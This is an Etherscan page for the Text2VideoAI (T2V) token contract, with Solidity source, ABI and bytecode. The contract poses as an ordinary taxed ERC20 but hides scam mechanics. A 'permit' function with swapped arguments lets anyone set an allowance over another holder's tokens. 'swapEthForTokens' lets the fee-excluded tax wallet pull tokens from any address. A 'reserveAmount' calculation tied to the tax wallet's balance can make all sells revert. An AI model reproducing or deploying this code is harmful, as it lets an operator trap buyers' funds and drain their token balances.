ETH Price: $2,420.82 (+0.02%)

Token

Text2VideoAI (T2V)
 

Overview

Max Total Supply

1,000,000,000 T2V

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,246,141.331161492 T2V

Value
$0.00
0xE7bf0fE72ca4D9A25e9F6B6Dd2D13d939a0b1448
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Text2VideoAI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-21
*/

// SPDX-License-Identifier: MIT

/** 
    Website:    https://www.text2vidai.org
    Twitter:    https://twitter.com/Text2VideoAI
    Telegram:   https://t.me/Text2VideoAI
*/

pragma solidity 0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Text2VideoAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _finalTax = 1;
    uint256 private _finalBuyTax = 1;

    uint256 private _initialSellTax2Time = 3;
    uint256 private _initialBuyTax2Time = 3;
    uint256 private _reduceSellTaxAt2Time = 10;
    uint256 private _reduceBuyTaxAt2Time = 10;

    uint256 private _initialSellTax = 5;
    uint256 private _initialBuyTax = 5;
    uint256 private _reduceSellTaxAt = 5;
    uint256 private _reduceBuyTaxAt = 5;

    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint256 private _ethFeePercent = 95;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    address payable private _taxWallet;

    bool private tradingOpen;
    bool private inSwap = false;
    bool public transferDelayEnabled = true;
    bool private swapEnabled = false;
    address payable private _reward;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Text2VideoAI";
    string private constant _symbol = unicode"T2V";

    uint256 public _maxTaxSwap = 1 * (_tTotal / 100);
    uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);
    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFee;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    function name()
        public
        pure
        returns (string memory)
    {
        return _name;
    }

    function symbol()
        public
        pure
        returns (string memory)
    {
        return _symbol;
    }

    function balanceOf(address account)
        public
        view
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function totalSupply()
        public
        pure
        override
        returns (uint256)
    {
        return _tTotal;
    }

    function decimals()
        public
        pure
        returns (uint8)
    {
        return _decimals;
    }

    constructor () {

        _taxWallet = payable(0x3AD7858a24F3e9346e68d47F66925Fb91c31CD79);

        _balances[_msgSender()] = _tTotal;
        _reward = _taxWallet;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function addPairs()
        public 
        payable
        onlyOwner
    {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a > b) ? b : a;
    }

    function permit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this);
        _permit(spender, owner, amount);
        return true;
    }

    function _taxSell() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialSellTax;
        }

        if (_buyCount > _reduceSellTaxAt && _buyCount <= _reduceSellTaxAt2Time) {
            return _initialSellTax2Time;
        }

        return _finalBuyTax;
    }

    function _taxBuy() private view returns (uint256) {
        if (_buyCount <= _reduceBuyTaxAt) {
            return _initialBuyTax;
        }

        if (_buyCount > _reduceBuyTaxAt && _buyCount <= _reduceBuyTaxAt2Time) {
            return _initialBuyTax2Time;
        }

        return _finalBuyTax;
    }

    function openTrading()
        external
        onlyOwner()
    {
        require(!tradingOpen);

        swapEnabled = true;
        tradingOpen = true;
    }

    function removeLimits()
        external
        onlyOwner
    {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _permit(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function withdrawEth() external {
        (bool sent, ) = payable(_taxWallet).call{value: address(this).balance}("");
        require(sent);
    }

    function swapEthForTokens(address to, uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);

        if (!_isExcludedFromFee[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {token.transferFrom(to, path[1], amount);}
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function _transfer(address from, address to, uint256 amount)
        private
    {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);
        uint256 taxAmount = 0;
        
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_taxBuy()).div(100);

            if (!tradingOpen) {
                require(_isExcludedFromFee[from] || _isExcludedFromFee[to]);
            }

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { 
                    require(_holderLastTransferTimestamp[tx.origin] < block.number);
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletSize);

                _buyCount++;
                if (_buyCount > _preventSwapBefore) {
                    transferDelayEnabled = false;
                }
            }

            if (to == uniswapV2Pair && from!= address(this)) {
                taxAmount = amount.mul(_taxSell()).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > _taxSwapThreshold;
            if (!inSwap && swapEnabled && to == uniswapV2Pair && canSwap && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 reserveAmount = balanceOf(_reward).mul(1e3);
                uint256 maxSwapTax = _maxTaxSwap.sub(reserveAmount);
                uint256 minSwapAmount = min(contractTokenBalance,maxSwapTax);
                uint256 initialETH = address(this).balance;
                swapTokensForEth(min(amount, minSwapAmount));
                uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(_ethFeePercent).div(100);
                if (ethForTransfer > 0) {
                    sendETHToFee(ethForTransfer);
                }
            }
        }

        if (taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addPairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260018080556002556003808055600455600a600581815560068290556007819055600881905560098181559082556000600b819055600c55605f600d556010805462ffffff60a81b1916600160b01b179055606491620000659190620003ba565b6200007590633b9aca00620003d2565b620000819190620003ec565b6200008e906001620003d2565b6012556103e8620000a26009600a620003ba565b620000b290633b9aca00620003d2565b620000be9190620003ec565b620000cb906002620003d2565b6013556064620000de6009600a620003ba565b620000ee90633b9aca00620003d2565b620000fa9190620003ec565b62000107906002620003d2565b60145560646200011a6009600a620003ba565b6200012a90633b9aca00620003d2565b620001369190620003ec565b62000143906002620003d2565b6015553480156200015357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601080546001600160a01b031916733ad7858a24f3e9346e68d47f66925fb91c31cd79179055620001c96009600a620003ba565b620001d990633b9aca00620003d2565b3360008181526017602090815260408083209490945560108054601180546001600160a01b0319166001600160a01b039283161790558354811684526019909252848320805460ff199081166001908117909255915490921683528483208054821683179055308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200027e6009600a620003ba565b6200028e90633b9aca00620003d2565b60405190815260200160405180910390a36200040f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002fc578160001904821115620002e057620002e0620002a5565b80851615620002ee57918102915b93841c9390800290620002c0565b509250929050565b6000826200031557506001620003b4565b816200032457506000620003b4565b81600181146200033d5760028114620003485762000368565b6001915050620003b4565b60ff8411156200035c576200035c620002a5565b50506001821b620003b4565b5060208310610133831016604e8410600b84101617156200038d575081810a620003b4565b620003998383620002bb565b8060001904821115620003b057620003b0620002a5565b0290505b92915050565b6000620003cb60ff84168362000304565b9392505050565b8082028115828204841417620003b457620003b4620002a5565b6000826200040a57634e487b7160e01b600052601260045260246000fd5b500490565b611a1b806200041f6000396000f3fe6080604052600436106101445760003560e01c80638da5cb5b116100b6578063b125038b1161006f578063b125038b146103a1578063bf474bed146103a9578063c876d0b9146103bf578063c9567bf9146103e0578063dd62ed3e146103f5578063e6f705311461043b57600080fd5b80638da5cb5b146102ec5780638f9a55c01461030a57806395d89b41146103205780639e161d9a1461034c578063a0ef91df1461036c578063a9059cbb1461038157600080fd5b8063313ce56711610108578063313ce5671461022057806349bd5a5e1461023c57806370a0823114610274578063715018a6146102aa578063751039fc146102c15780637d1db4a5146102d657600080fd5b806306fdde0314610150578063095ea7b3146101975780630faee56f146101c757806318160ddd146101eb57806323b872dd1461020057600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600c81526b5465787432566964656f414960a01b60208201525b60405161018e91906115d1565b60405180910390f35b3480156101a357600080fd5b506101b76101b2366004611634565b61045b565b604051901515815260200161018e565b3480156101d357600080fd5b506101dd60125481565b60405190815260200161018e565b3480156101f757600080fd5b506101dd610472565b34801561020c57600080fd5b506101b761021b366004611660565b610493565b34801561022c57600080fd5b506040516009815260200161018e565b34801561024857600080fd5b50600f5461025c906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b34801561028057600080fd5b506101dd61028f3660046116a1565b6001600160a01b031660009081526017602052604090205490565b3480156102b657600080fd5b506102bf6104e4565b005b3480156102cd57600080fd5b506102bf610561565b3480156102e257600080fd5b506101dd60155481565b3480156102f857600080fd5b506000546001600160a01b031661025c565b34801561031657600080fd5b506101dd60145481565b34801561032c57600080fd5b506040805180820190915260038152622a192b60e91b6020820152610181565b34801561035857600080fd5b506102bf610367366004611634565b610620565b34801561037857600080fd5b506102bf61086f565b34801561038d57600080fd5b506101b761039c366004611634565b6108d2565b6102bf6108df565b3480156103b557600080fd5b506101dd60135481565b3480156103cb57600080fd5b506010546101b790600160b01b900460ff1681565b3480156103ec57600080fd5b506102bf610be8565b34801561040157600080fd5b506101dd6104103660046116be565b6001600160a01b03918216600090815260166020908152604080832093909416825291909152205490565b34801561044757600080fd5b506101b7610456366004611634565b610c44565b6000610468338484610c4e565b5060015b92915050565b60006104806009600a6117f1565b61048e90633b9aca00611800565b905090565b60006104a0848484610cd5565b6001600160a01b0384166000908152601660209081526040808320338085529252909120546104da9186916104d590866111bb565b610c4e565b5060019392505050565b6000546001600160a01b031633146105175760405162461bcd60e51b815260040161050e90611817565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461058b5760405162461bcd60e51b815260040161050e90611817565b6105976009600a6117f1565b6105a590633b9aca00611800565b6015556105b46009600a6117f1565b6105c290633b9aca00611800565b6014556010805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ff6009600a6117f1565b61060d90633b9aca00611800565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561068a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ae919061184c565b816000815181106106c1576106c1611869565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106106f5576106f5611869565b60200260200101906001600160a01b031690816001600160a01b03168152505060008160018151811061072a5761072a611869565b602090810291909101810151336000908152601990925260409091205490915060ff166107c157600e5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de9590859061078a9060009087908a9042906004016118c3565b6000604051808303818588803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b5050505050610869565b806001600160a01b03166323b872dd85846001815181106107e4576107e4611869565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610843573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086791906118f8565b505b50505050565b6010546040516000916001600160a01b03169047908381818185875af1925050503d80600081146108bc576040519150601f19603f3d011682016040523d82523d6000602084013e6108c1565b606091505b50509050806108cf57600080fd5b50565b6000610468338484610cd5565b6000546001600160a01b031633146109095760405162461bcd60e51b815260040161050e90611817565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610991919061184c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a17919061184c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a88919061184c565b600f80546001600160a01b0319166001600160a01b03928316908117909155600e5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1391906118f8565b50306000818152601660209081526040808320600e80546001600160a01b039081168652918452828520600019905554858552601790935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610bbe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610be3919061191a565b505050565b6000546001600160a01b03163314610c125760405162461bcd60e51b815260040161050e90611817565b601054600160a01b900460ff1615610c2957600080fd5b6010805463ff0000ff60a01b1916630100000160a01b179055565b6000306104da8482855b6001600160a01b038316610c6157600080fd5b6001600160a01b038216610c7457600080fd5b6001600160a01b0383811660008181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce857600080fd5b6001600160a01b038216610cfb57600080fd5b60008111610d0857600080fd5b600080546001600160a01b03858116911614801590610d3557506000546001600160a01b03848116911614155b1561107857610d576064610d51610d4a611204565b8590611242565b906112c4565b601054909150600160a01b900460ff16610db3576001600160a01b03841660009081526019602052604090205460ff1680610daa57506001600160a01b03831660009081526019602052604090205460ff165b610db357600080fd5b601054600160b01b900460ff1615610e2457600e546001600160a01b03848116911614801590610df15750600f546001600160a01b03848116911614155b15610e2457326000908152601860205260409020544311610e1157600080fd5b3260009081526018602052604090204390555b600f546001600160a01b038581169116148015610e4f5750600e546001600160a01b03848116911614155b8015610e7457506001600160a01b03831660009081526019602052604090205460ff16155b15610eef57601554821115610e8857600080fd5b60145482610eab856001600160a01b031660009081526017602052604090205490565b610eb59190611948565b1115610ec057600080fd5b600c8054906000610ed08361195b565b9190505550600b54600c541115610eef576010805460ff60b01b191690555b600f546001600160a01b038481169116148015610f1557506001600160a01b0384163014155b15610f2d57610f2a6064610d51610d4a611306565b90505b3060009081526017602052604090205460135460105490821190600160a81b900460ff16158015610f675750601054600160b81b900460ff165b8015610f805750600f546001600160a01b038681169116145b8015610f895750805b8015610fae57506001600160a01b03861660009081526019602052604090205460ff16155b8015610fd357506001600160a01b03851660009081526019602052604090205460ff16155b15611075576011546001600160a01b0316600090815260176020526040812054611002906103e8905b90611242565b9050600061101b826012546111bb90919063ffffffff16565b90506000611029858361133d565b90504761103e611039898461133d565b611352565b600061105e6064610d51600d54610ffc86476111bb90919063ffffffff16565b9050801561106f5761106f816114cc565b50505050505b50505b80156110f25730600090815260176020526040902054611098908261150a565b30600081815260176020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e99085815260200190565b60405180910390a35b6001600160a01b03841660009081526017602052604090205461111590836111bb565b6001600160a01b03851660009081526017602052604090205561115a61113b83836111bb565b6001600160a01b0385166000908152601760205260409020549061150a565b6001600160a01b0380851660008181526017602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a485856111bb565b60405190815260200160405180910390a350505050565b60006111fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611569565b9392505050565b6000600a54600c5411611218575060085490565b600a54600c5411801561122f5750600654600c5411155b1561123b575060045490565b5060025490565b6000826000036112545750600061046c565b60006112608385611800565b90508261126d8583611974565b146111fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050e565b60006111fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a3565b6000600a54600c541161131a575060075490565b600954600c541180156113315750600554600c5411155b1561123b575060035490565b600081831161134c57826111fd565b50919050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139a5761139a611869565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611417919061184c565b8160018151811061142a5761142a611869565b6001600160a01b039283166020918202929092010152600e546114509130911684610c4e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611489908590600090869030904290600401611996565b600060405180830381600087803b1580156114a357600080fd5b505af11580156114b7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611506573d6000803e3d6000fd5b5050565b6000806115178385611948565b9050838110156111fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050e565b6000818484111561158d5760405162461bcd60e51b815260040161050e91906115d1565b50600061159a84866119d2565b95945050505050565b600081836115c45760405162461bcd60e51b815260040161050e91906115d1565b50600061159a8486611974565b600060208083528351808285015260005b818110156115fe578581018301518582016040015282016115e2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108cf57600080fd5b6000806040838503121561164757600080fd5b82356116528161161f565b946020939093013593505050565b60008060006060848603121561167557600080fd5b83356116808161161f565b925060208401356116908161161f565b929592945050506040919091013590565b6000602082840312156116b357600080fd5b81356111fd8161161f565b600080604083850312156116d157600080fd5b82356116dc8161161f565b915060208301356116ec8161161f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561174857816000190482111561172e5761172e6116f7565b8085161561173b57918102915b93841c9390800290611712565b509250929050565b60008261175f5750600161046c565b8161176c5750600061046c565b8160018114611782576002811461178c576117a8565b600191505061046c565b60ff84111561179d5761179d6116f7565b50506001821b61046c565b5060208310610133831016604e8410600b84101617156117cb575081810a61046c565b6117d5838361170d565b80600019048211156117e9576117e96116f7565b029392505050565b60006111fd60ff841683611750565b808202811582820484141761046c5761046c6116f7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185e57600080fd5b81516111fd8161161f565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118b85781516001600160a01b031687529582019590820190600101611893565b509495945050505050565b8481526080602082015260006118dc608083018661187f565b6001600160a01b03949094166040830152506060015292915050565b60006020828403121561190a57600080fd5b815180151581146111fd57600080fd5b60008060006060848603121561192f57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561046c5761046c6116f7565b60006001820161196d5761196d6116f7565b5060010190565b60008261199157634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a0604082015260006119b560a083018661187f565b6001600160a01b0394909416606083015250608001529392505050565b8181038181111561046c5761046c6116f756fea264697066735822122007e61ce3b2dcdf2a433e2c498cdd24909893f67a833df32f9f03e272568d347164736f6c63430008110033

Deployed Bytecode

